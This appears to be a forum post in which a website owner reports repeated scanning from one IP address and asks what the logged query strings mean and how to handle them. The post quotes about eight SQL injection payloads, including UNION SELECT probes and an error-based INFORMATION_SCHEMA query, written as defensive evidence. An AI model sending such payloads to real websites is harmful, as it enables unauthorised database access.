External Query Attack

A couple of times over the past few weeks, my server has been hammered by a series of "scanning" type URL entries.

They all come from the same IP address: 188.165.251.129
Which is in France and shows up as being blacklisted on at least four blacklists.

What this attack does is uses my URL and a valid php file name.

https://mydomain.com/help.php

Then it adds on an "a=..." query which I assume is an attempt at looking for vulnerablities.

So for example:
https://mydomain.com/help.php?a=noscr+and+1=1&i=newLog

It then cycles through nearly 100 of these variations.  *See below for a list of other attempted options.

I have two questions:

1) What is the best way to handle this type of "scanning"
2) What does the following list of queries tell you they are trying to do?

Thanks.

*Here is a sample of attempted queries:

a=noscr+and+1=1&i=newLog
a=tour+-6863+union+all+select+CONCAT(0x3a6f79753a,0x4244764877697569706b,0x3a70687a3a),1,1,1,1,1,1%2523
a=tour+%2527-6863+union+all+select+1,1,1,1,1,CONCAT(0x3a6f79753a,0x4244764877697569706b,0x3a70687a3a),1,1,1%2523
a=tour+%2527-6863+union+all+select+1,1,1,1,1,1,1,1,CONCAT(0x3a6f79753a,0x4244764877697569706b,0x3a70687a3a)%2523
a=tour%2527)+AND+(SELECT+8041+FROM(SELECT+COUNT(%252A),CONCAT(0x3a6f79753a,(SELECT+(CASE+WHEN+(8041%253D8041)+THEN+1+ELSE+0+END)),0x3a70687a3a,floor(rand(0)%252A2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+AND+(%2527ffAM%2527%253D%2527ffAM
a=demo+%2527-6863+union+all+select+1,1,1,1,1,1,1,CONCAT(0x3a6f79753a,0x4244764877697569706b,0x3a70687a3a)%2523
a=demo+-6863+union+all+select+1,1,CONCAT(0x3a6f79753a,0x4244764877697569706b,0x3a70687a3a),1,1,1,1,1,1,1%2523
a=demo+-6863+union+all+select+1,1,1,1,CONCAT(0x3a6f79753a,0x4244764877697569706b,0x3a70687a3a),1,1%2523

IP ADDRESS: